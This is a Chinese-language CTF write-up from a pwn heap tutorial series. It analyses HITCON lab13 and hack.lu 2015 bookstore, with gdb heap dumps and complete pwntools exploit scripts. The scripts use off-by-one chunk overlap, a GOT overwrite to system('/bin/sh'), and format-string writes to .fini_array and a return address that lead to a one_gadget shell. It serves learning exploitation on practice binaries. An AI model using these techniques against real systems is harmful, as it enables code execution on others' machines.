0%

pwn堆入门系列教程3

pwn堆入门系列教程3

本文首发于先知社区

pwn堆入门系列教程1
pwn入门系列教程2

序言:这次终于过了off-by-one来到了Chunk Extend / Overlapping,这部分在上一节也进行了学习,所以难度相对来说不会是那么大,刚起初我以为,因为第一题很简单,但做到第二题,我发觉我连格式化字符串的漏洞都不会利用,真的是太菜了,后面看了看雪大佬的文章才会做

1.1. HITCON Trainging lab13

这道题还是相对简单的,对于前面几道来说,上一道已经用过这种方法了,而且比这复杂许多,所以差不多了,不过还有些小细节注意下就好

1.1.1. 功能分析

引用于ctf-wiki

  1. 创建堆,根据用户输入的长度,申请对应内存空间,并利用 read 读取指定长度内容。这里长度没有进行检测,当长度为负数时,会出现任意长度堆溢出的漏洞。当然,前提是可以进行 malloc。此外,这里读取之后并没有设置 NULL。
  2. 编辑堆,根据指定的索引以及之前存储的堆的大小读取指定内容,但是这里读入的长度会比之前大 1,所以会存在 off by one 的漏洞。
  3. 展示堆,输出指定索引堆的大小以及内容。
  4. 删除堆,删除指定堆,并且将对应指针设置为了 NULL。

1.1.2. 漏洞点分析

漏洞点存在off-by-one,通过off-by-one进行overlapping就成了

1.1.3. 漏洞利用过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gdb-peda$ x/50gx 0x1775030-0x30
0x1775000: 0x0000000000000000 0x0000000000000021 #结构体1
0x1775010: 0x0000000000000018 0x0000000001775030
0x1775020: 0x0000000000000000 0x0000000000000021 #数据块1 chunk
0x1775030: 0x0000000a31313131 0x0000000000000000
0x1775040: 0x0000000000000000 0x0000000000000021 #结构体1
0x1775050: 0x0000000000000010 0x0000000001775070
0x1775060: 0x0000000000000000 0x0000000000000021 #数据块2 chunk
0x1775070: 0x0000000a32323232 0x0000000000000000
0x1775080: 0x0000000000000000 0x0000000000020f81
0x1775090: 0x0000000000000000 0x0000000000000000
0x17750a0: 0x0000000000000000 0x0000000000000000
0x17750b0: 0x0000000000000000 0x0000000000000000
0x17750c0: 0x0000000000000000 0x0000000000000000
0x17750d0: 0x0000000000000000 0x0000000000000000
0x17750e0: 0x0000000000000000 0x0000000000000000
0x17750f0: 0x0000000000000000 0x0000000000000000
0x1775100: 0x0000000000000000 0x0000000000000000
0x1775110: 0x0000000000000000 0x0000000000000000
0x1775120: 0x0000000000000000 0x0000000000000000
0x1775130: 0x0000000000000000 0x0000000000000000
0x1775140: 0x0000000000000000 0x0000000000000000
0x1775150: 0x0000000000000000 0x0000000000000000
0x1775160: 0x0000000000000000 0x0000000000000000
0x1775170: 0x0000000000000000 0x0000000000000000
0x1775180: 0x0000000000000000 0x0000000000000000

攻击过程:

  1. 创建两个堆块初始化(实际创了4个堆块,两个结构体堆块,两个数据堆块)至于一个为什么要0x18,因为要利用他会使用下个chunk的pre_size作为数据部分,这样才能off-by-one溢出到size
  2. 编辑第0块堆块,利用off-by-one覆盖第二块堆块的size,修改size为0x41
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    gdb-peda$ x/50gx 0x8a5030-0x30
    0x8a5000: 0x0000000000000000 0x0000000000000021
    0x8a5010: 0x0000000000000018 0x00000000008a5030
    0x8a5020: 0x0000000000000000 0x0000000000000021
    0x8a5030: 0x0068732f6e69622f 0x6161616161616161 #/bin/sh为后面做准备
    0x8a5040: 0x6161616161616161 0x0000000000000041 # off-by-one
    0x8a5050: 0x0000000000000010 0x00000000008a5070
    0x8a5060: 0x0000000000000000 0x0000000000000021
    0x8a5070: 0x0000000a32323232 0x0000000000000000
    0x8a5080: 0x0000000000000000 0x0000000000020f81
    0x8a5090: 0x0000000000000000 0x0000000000000000
    0x8a50a0: 0x0000000000000000 0x0000000000000000
    0x8a50b0: 0x0000000000000000 0x0000000000000000
    0x8a50c0: 0x0000000000000000 0x0000000000000000
    0x8a50d0: 0x0000000000000000 0x0000000000000000
    0x8a50e0: 0x0000000000000000 0x0000000000000000
    0x8a50f0: 0x0000000000000000 0x0000000000000000
    0x8a5100: 0x0000000000000000 0x0000000000000000
    0x8a5110: 0x0000000000000000 0x0000000000000000
    0x8a5120: 0x0000000000000000 0x0000000000000000
    0x8a5130: 0x0000000000000000 0x0000000000000000
    0x8a5140: 0x0000000000000000 0x0000000000000000
    0x8a5150: 0x0000000000000000 0x0000000000000000
    0x8a5160: 0x0000000000000000 0x0000000000000000
    0x8a5170: 0x0000000000000000 0x0000000000000000
    0x8a5180: 0x0000000000000000 0x0000000000000000
  3. free掉第1块,这时候free了一个0x40大小的堆块和一个0x20大小的堆块
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    gdb-peda$ x/50gx 0xf89030-0x30
    0xf89000: 0x0000000000000000 0x0000000000000021
    0xf89010: 0x0000000000000018 0x0000000000f89030
    0xf89020: 0x0000000000000000 0x0000000000000021
    0xf89030: 0x0068732f6e69622f 0x6161616161616161
    0xf89040: 0x6161616161616161 0x0000000000000041 #free 0x40大小
    0xf89050: 0x0000000000000000 0x0000000000f89070
    0xf89060: 0x0000000000000000 0x0000000000000021 #free 0x21大小
    0xf89070: 0x0000000000000000 0x0000000000000000
    0xf89080: 0x0000000000000000 0x0000000000020f81
    0xf89090: 0x0000000000000000 0x0000000000000000
    0xf890a0: 0x0000000000000000 0x0000000000000000
    0xf890b0: 0x0000000000000000 0x0000000000000000
    0xf890c0: 0x0000000000000000 0x0000000000000000
    0xf890d0: 0x0000000000000000 0x0000000000000000
    0xf890e0: 0x0000000000000000 0x0000000000000000
    0xf890f0: 0x0000000000000000 0x0000000000000000
    0xf89100: 0x0000000000000000 0x0000000000000000
    0xf89110: 0x0000000000000000 0x0000000000000000
    0xf89120: 0x0000000000000000 0x0000000000000000
    0xf89130: 0x0000000000000000 0x0000000000000000
    0xf89140: 0x0000000000000000 0x0000000000000000
    0xf89150: 0x0000000000000000 0x0000000000000000
    0xf89160: 0x0000000000000000 0x0000000000000000
    0xf89170: 0x0000000000000000 0x0000000000000000
    0xf89180: 0x0000000000000000 0x0000000000000000
  4. 这时候create(0x30)的话,会先创建结构体的堆块,这时候fastbin链上有刚free掉的堆块,所以优先使用,创建了0x20大小堆块,然后在创建一个0x40的chunk,这时候可以覆盖掉他的结构体部分的内容指针,泄露地址,在写入就成了

1.1.4. exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'heapcreator'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'heapcreator'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = ELF('libc.so.6')
if local:
context.log_level = 'debug'
try:
r = ctx.start()
except Exception as e:
print(e.args)
print("It can't work,may be it can't load the remote libc!")
print("It will load the local process")
io = process(exe)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
heap = elf
libc = ELF('./libc.so.6')

def create(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def edit(idx, content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)


def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))



def exp():
free_got = 0x602018
create(0x18, "1111") # 0
create(0x10, "2222") # 1
# overwrite heap 1's struct's size to 0x41
edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
# trigger heap 1's struct to fastbin 0x40
# heap 1's content to fastbin 0x20
delete(1)
# new heap 1's struct will point to old heap 1's content, size 0x20
# new heap 1's content will point to old heap 1's struct, size 0x30
# that is to say we can overwrite new heap 1's struct
# here we overwrite its heap content pointer to free@got
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free'])) #1
#create(0x30, p64(0x1234567890)) #1
gdb.attach(r)
# leak freeaddr
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
#gdb.attach(r)
# overwrite free@got with system addr
edit(1, p64(system_addr))
# trigger system("/bin/sh")
delete(0)
if __name__ == '__main__':
exp()
r.interactive()

1.2. 2015 hacklu bookstore

1.2.1. 功能分析

先进行功能分析

  1. 有编辑功能,编辑已存在的1,2堆块,可溢出
  2. 删除功能,删除已存在的1,2堆块,uaf
  3. 合并功能,将1,2两个堆块合并,格式化字符串

1.2.2. 漏洞点分析

  1. 漏洞点1(任意写,\n才结束)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall edit_order(char *a1)
{
int idx; // eax
int v3; // [rsp+10h] [rbp-10h]
int cnt; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
v3 = 0;
cnt = 0;
while ( v3 != '\n' )//关键点
{
v3 = fgetc(stdin);
idx = cnt++;
a1[idx] = v3;
}
a1[cnt - 1] = 0;
return __readfsqword(0x28u) ^ v5;
}
  1. 漏洞点2(uaf)

free后指针没置空

1
2
3
4
5
6
7
8
unsigned __int64 __fastcall delete_order(void *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
free(a1); //重点
return __readfsqword(0x28u) ^ v2;
}
  1. 格式化字符串
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-BCh]
char *v5; // [rsp+8h] [rbp-B8h]
char *first_order; // [rsp+18h] [rbp-A8h]
char *second_order; // [rsp+20h] [rbp-A0h]
char *dest; // [rsp+28h] [rbp-98h]
char s; // [rsp+30h] [rbp-90h]
unsigned __int64 v10; // [rsp+B8h] [rbp-8h]

v10 = __readfsqword(0x28u);
first_order = (char *)malloc(0x80uLL);
second_order = (char *)malloc(0x80uLL);
dest = (char *)malloc(0x80uLL);
if ( !first_order || !second_order || !dest )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
v4 = 0;
puts(
" _____ _ _ _ _ _ \n"
"/__ \\_____ _| |_| |__ ___ ___ | | __ ___| |_ ___ _ __ ___ / \\\n"
" / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/ /\n"
" / / | __/> <| |_| |_) | (_) | (_) | < \\__ \\ || (_) | | | __/\\_/ \n"
" \\/ \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_| \\___\\/ \n"
"Crappiest and most expensive books for your college education!\n"
"\n"
"We can order books for you in case they're not in stock.\n"
"Max. two orders allowed!\n");
LABEL_14:
while ( !v4 )
{
puts("1: Edit order 1");
puts("2: Edit order 2");
puts("3: Delete order 1");
puts("4: Delete order 2");
puts("5: Submit");
fgets(&s, 0x80, stdin);
switch ( s )
{
case '1':
puts("Enter first order:");
edit_order(first_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '2':
puts("Enter second order:");
edit_order(second_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '3':
delete_order(first_order);
goto LABEL_14;
case '4':
delete_order(second_order);
goto LABEL_14;
case '5':
v5 = (char *)malloc(0x140uLL);
if ( !v5 )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
submit(v5, first_order, second_order);
v4 = 1;
break;
default:
goto LABEL_14;
}
}
printf("%s", v5);
printf(dest);//格式化字符串
return 0LL;
}

1.2.3. 漏洞利用过程

这题有三个明显的洞,比原来那些只有一个洞的看起来似乎简单些?实际相反,这道题利用起来难度比前面的还大,因为这个洞不好利用,我自己研究了好久也无果,然后找writeup
看了看雪大佬的文章才知道这题怎么利用的

开始我在想如何利用格式化字符串的洞,因为格式化字符串的洞在合并过后才会使用,而我没想到什么便捷方法能修改第三块堆块的内容,他只能被覆盖为默认的Your order is submitted!\n,后来才知道用overlaping后可以覆盖到第三块堆块的内容,不过还是得精心布置堆才可以利用到

  1. 开头程序malloc(0x80)申请了三个堆块,我们将第二块free掉
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
gdb-peda$ x/100gx 0x1b8d010-0x010
0x1b8d000: 0x0000000000000000 0x0000000000000091 #堆块1
0x1b8d010: 0x0000000074736574 0x0000000000000000
0x1b8d020: 0x0000000000000000 0x0000000000000000
0x1b8d030: 0x0000000000000000 0x0000000000000000
0x1b8d040: 0x0000000000000000 0x0000000000000000
0x1b8d050: 0x0000000000000000 0x0000000000000000
0x1b8d060: 0x0000000000000000 0x0000000000000000
0x1b8d070: 0x0000000000000000 0x0000000000000000
0x1b8d080: 0x0000000000000000 0x0000000000000000
0x1b8d090: 0x0000000000000000 0x0000000000000091 #堆块2,溢出修改处
0x1b8d0a0: 0x0000000000000000 0x0000000000000000 #数据部分
0x1b8d0b0: 0x0000000000000000 0x0000000000000000
0x1b8d0c0: 0x0000000000000000 0x0000000000000000
0x1b8d0d0: 0x0000000000000000 0x0000000000000000
0x1b8d0e0: 0x0000000000000000 0x0000000000000000
0x1b8d0f0: 0x0000000000000000 0x0000000000000000
0x1b8d100: 0x0000000000000000 0x0000000000000000
0x1b8d110: 0x0000000000000000 0x0000000000000000
0x1b8d120: 0x0000000000000000 0x0000000000000091 #堆块3
0x1b8d130: 0x64726f2072756f59 0x7573207369207265
0x1b8d140: 0x2164657474696d62 0x000000000000000a
0x1b8d150: 0x0000000000000000 0x0000000000000000
0x1b8d160: 0x0000000000000000 0x0000000000000000
0x1b8d170: 0x0000000000000000 0x0000000000000000
0x1b8d180: 0x0000000000000000 0x0000000000000000
0x1b8d190: 0x0000000000000000 0x0000000000000000
0x1b8d1a0: 0x0000000000000000 0x0000000000000000
0x1b8d1b0: 0x0000000000000000 0x0000000000000411
0x1b8d1c0: 0x696d627553203a35 0x20726564726f0a74
0x1b8d1d0: 0x216465776f0a0a32 0x6163206e6920750a
0x1b8d1e0: 0x2779656874206573 0x6920746f6e206572
0x1b8d1f0: 0x2e6b636f7473206e 0x5f0a216e6f69740a
0x1b8d200: 0x0a2020202f5c5f5f 0x0000000000000000
0x1b8d210: 0x0000000000000000 0x0000000000000000
0x1b8d220: 0x0000000000000000 0x0000000000000000
0x1b8d230: 0x0000000000000000 0x0000000000000000
0x1b8d240: 0x0000000000000000 0x0000000000000000
0x1b8d250: 0x0000000000000000 0x0000000000000000
0x1b8d260: 0x0000000000000000 0x0000000000000000
0x1b8d270: 0x0000000000000000 0x0000000000000000
0x1b8d280: 0x0000000000000000 0x0000000000000000
0x1b8d290: 0x0000000000000000 0x0000000000000000
0x1b8d2a0: 0x0000000000000000 0x0000000000000000
0x1b8d2b0: 0x0000000000000000 0x0000000000000000
0x1b8d2c0: 0x0000000000000000 0x0000000000000000
0x1b8d2d0: 0x0000000000000000 0x0000000000000000
0x1b8d2e0: 0x0000000000000000 0x0000000000000000
0x1b8d2f0: 0x0000000000000000 0x0000000000000000
0x1b8d300: 0x0000000000000000 0x0000000000000000
0x1b8d310: 0x0000000000000000 0x0000000000000000
  1. 编辑第一块堆块内容,溢出到第二块的size,修改第二块的size为0x150,为什么是0x150?(因为你看程序在合并的时候有个malloc(0x140),这样合并的时候申请的堆块就会跑到这上面来,也就是说我们第二块堆块跟第三块堆块这时候会重合

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    gdb-peda$ x/50gx 0x1695028-0x28
    0x1695000: 0x0000000000000000 0x0000000000000091
    0x1695010: 0x3125633731363225 0x313325516e682433
    0x1695020: 0x7024383225507024 0x6161616161616161
    0x1695030: 0x6161616161616161 0x6161616161616161
    0x1695040: 0x6161616161616161 0x6161616161616161
    0x1695050: 0x6161616161616161 0x6161616161616161
    0x1695060: 0x6161616161616161 0x6161616161616161
    0x1695070: 0x6161616161616161 0x6161616161616161
    0x1695080: 0x0000000061616161 0x0000000000000000
    0x1695090: 0x0000000000000000 0x0000000000000151
    0x16950a0: 0x00007f0e99412b00 0x00007f0e99412b78
    0x16950b0: 0x0000000000000000 0x0000000000000000
    0x16950c0: 0x0000000000000000 0x0000000000000000
    0x16950d0: 0x0000000000000000 0x0000000000000000
    0x16950e0: 0x0000000000000000 0x0000000000000000
    0x16950f0: 0x0000000000000000 0x0000000000000000
    0x1695100: 0x0000000000000000 0x0000000000000000
    0x1695110: 0x0000000000000000 0x0000000000000000
    0x1695120: 0x0000000000000090 0x0000000000000090
    0x1695130: 0x64726f2072756f59 0x7573207369207265
    0x1695140: 0x2164657474696d62 0x000000000000000a
    0x1695150: 0x0000000000000000 0x0000000000000000
    0x1695160: 0x0000000000000000 0x0000000000000000
    0x1695170: 0x0000000000000000 0x0000000000000000
    0x1695180: 0x0000000000000000 0x0000000000000000
  2. 然后submit的时候具体会变成什么样呢?,会先复制Order 1: **,然后在复制chunk1里的内容,在复制chunk2里的内容,注意注意chunk2的内容现在是什么,是前面的Order 1: **在加上chunk1的内容,因为堆块2的指针还指向chunk2的数据部分,所以会复制两次

  3. 就是Order 1: **+chunk1+’\n’+Order 2: +Order 1: **+chun1+’\n’

  4. 如果我们要利用格式化字符串的洞的话,要精确复制到堆块3的size部分后就停止,到这部分大小是0x90

  5. 也就是说我们Order 1: **+chunk1+’\n’+Order 2: +Order 1: *这个的大小要为0x90,求出chunk大小,0x90-93-1=0x88-0x1c=0x74

  6. 所以我们可以在前面0x74里写格式化字符串的利用,后面就利用得上了

这是合并后的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
gdb-peda$ x/56gx 0x6e6028-0x28
0x6e6000: 0x0000000000000000 0x0000000000000091
0x6e6010: 0x3125633731363225 0x313325516e682433
0x6e6020: 0x7024383225507024 0x6161616161616161
0x6e6030: 0x6161616161616161 0x6161616161616161
0x6e6040: 0x6161616161616161 0x6161616161616161
0x6e6050: 0x6161616161616161 0x6161616161616161
0x6e6060: 0x6161616161616161 0x6161616161616161
0x6e6070: 0x6161616161616161 0x6161616161616161
0x6e6080: 0x0000000061616161 0x0000000000000000
0x6e6090: 0x0000000000000000 0x0000000000000151
0x6e60a0: 0x3a3120726564724f 0x2563373136322520
0x6e60b0: 0x3325516e68243331 0x2438322550702431
0x6e60c0: 0x6161616161616170 0x6161616161616161
0x6e60d0: 0x6161616161616161 0x6161616161616161
0x6e60e0: 0x6161616161616161 0x6161616161616161
0x6e60f0: 0x6161616161616161 0x6161616161616161
0x6e6100: 0x6161616161616161 0x6161616161616161
0x6e6110: 0x6161616161616161 0x724f0a6161616161
0x6e6120: 0x4f203a3220726564 0x203a312072656472
0x6e6130: 0x3125633731363225 0x313325516e682433
0x6e6140: 0x7024383225507024 0x6161616161616161
0x6e6150: 0x6161616161616161 0x6161616161616161
0x6e6160: 0x6161616161616161 0x6161616161616161
0x6e6170: 0x6161616161616161 0x6161616161616161
0x6e6180: 0x6161616161616161 0x6161616161616161
0x6e6190: 0x6161616161616161 0x6161616161616161
0x6e61a0: 0x64724f0a61616161 0x000a203a32207265
0x6e61b0: 0x0000000000000000 0x0000000000000411
  1. 既然是堆题我就不再讲格式化字符串利用了,后面先利用格式化字符串修改.fini的地址,这样能多返回一次到main函数,同时泄露libc函数地址,为什么修改.fini里的地址能多返回一次main函数呢,请看

linux_x86程序启动中文版
linux_x86程序启动英文版
这两篇文章一样的,不过一个中文版,一个英文版,建议英文好的同学读原版,因为.fini在exit前会进行调用,所以修改后能执行多一次main函数

  1. 这时候发觉泄露出libc后不知道修改哪个函数了,因为调用printf后再也没函数用了,这时候思路又断了
  2. 所以这时候想想别的办法,发觉栈上存了一个与存main函数返回地址的指针存在一定偏移的地址,所以泄露出来后,在减掉那个固定偏移就可以修改main函数返回地址了

注意:这里格式化字符串内容存在堆里,指针存在栈上,所以我们fgets输入的才是对应上的偏移

1.2.4. exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'books'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'books'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
p = ctx.start()
libc = ELF(libc)
else:
p = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: No RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x400000)

def edit(idx, content) :
p.sendline(str(idx))
p.recvregex(r'''Enter (.*?) order:\n''')
p.sendline(content)


def delete(idx) :
p.sendline(str(idx+2))

def submit(content) :
p.sendline('5'+ '\x00'*7 + content)

def exp():
fini_array = 0x6011B8
main_addr = 0x400A39
delete(2)

#first step
#leak
fmstr = "%{}c%{}$hnQ%{}$pP%{}$p".format(0xA39, 13, 31, 28)
payload = fmstr.ljust(0x74, 'a')
payload = payload.ljust(0x88, '\x00')
payload += p64(0x151)
edit(1, payload)
#offset=13
gdb.attach(p)
submit(p64(fini_array))
for _ in range(3):
p.recvuntil('Q')
__libc_start_main_addr = int(p.recv(14), 16)
libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']-240
ret_addr = int(p.recv(15)[1:], 16)-0x1e8
one_gadget_offset = 0x45216
#one_gadget_offset = 0x4526a
#one_gadget_offset = 0xf02a4
#one_gadget_offset = 0xf1147
one_gadget = libc_base + one_gadget_offset
p.success("libc_base-> 0x%x" % libc_base)
p.success("ret_addr-> 0x%x" % ret_addr)
p.success("one_gadget-> 0x%x" % one_gadget)

#second step
delete(2)
part1 = ((one_gadget>>16)& 0xffff)
part2 = (one_gadget & 0xffff)

part =[
(part1, p64(ret_addr+2)),
(part2, p64(ret_addr))
]
part.sort(key=lambda tup: tup[0])
size = [i[0] for i in part]
addr =''.join(x[1] for x in part)
print(size)
print(addr)
fmstr = "%{}c%{}$hn".format(size[0], 13)
fmstr += "%{}c%{}$hn".format(size[1]-size[0], 14)
payload = fmstr.ljust(0x74, 'a')
payload = payload.ljust(0x88, '\x00')
payload += p64(0x151)
edit(1, payload)
#offset=13
submit(addr)
#gdb.attach(p)
if __name__ == '__main__':
exp()
p.interactive()

1.3. 总结

  1. 这道题堆部分难点部分想到了就不难,没想到就难,就是要利用那个部分溢出到第三个堆块
  2. 其余部分就全是格式化字符串的利用了,没什么好讲的
  3. 这道题拿到shell也偏废时间,最主要直接看exp我看不懂,后面去看文章才看懂的

1.4. 参考链接

看雪大佬的文章

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/f4127a66/
版权声明:转载请注明出处!